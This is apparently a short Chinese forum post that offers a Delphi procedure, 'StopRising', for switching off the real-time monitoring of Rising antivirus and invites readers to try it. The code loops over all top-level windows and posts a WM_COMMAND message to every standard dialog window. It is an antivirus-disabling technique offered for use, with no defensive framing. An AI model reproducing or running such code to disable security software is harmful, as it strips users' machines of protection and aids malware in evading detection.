关闭瑞星监控的代码,大家去试试吧!呵呵、
procedure StopRising;
var
hWindow: HWND;
lpClassName: array[0..20] of char;
begin
hWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST);
repeat
GetClassName(hWindow, lpClassName, 20);
if lpClassName = '#32770' then //判断搜索窗口的类名
PostMessage(hWindow, WM_COMMAND, 40026, 0); //发送消息
hWindow := GetWindow(hWindow, GW_HWNDNEXT);
until
hWindow = 0;
end;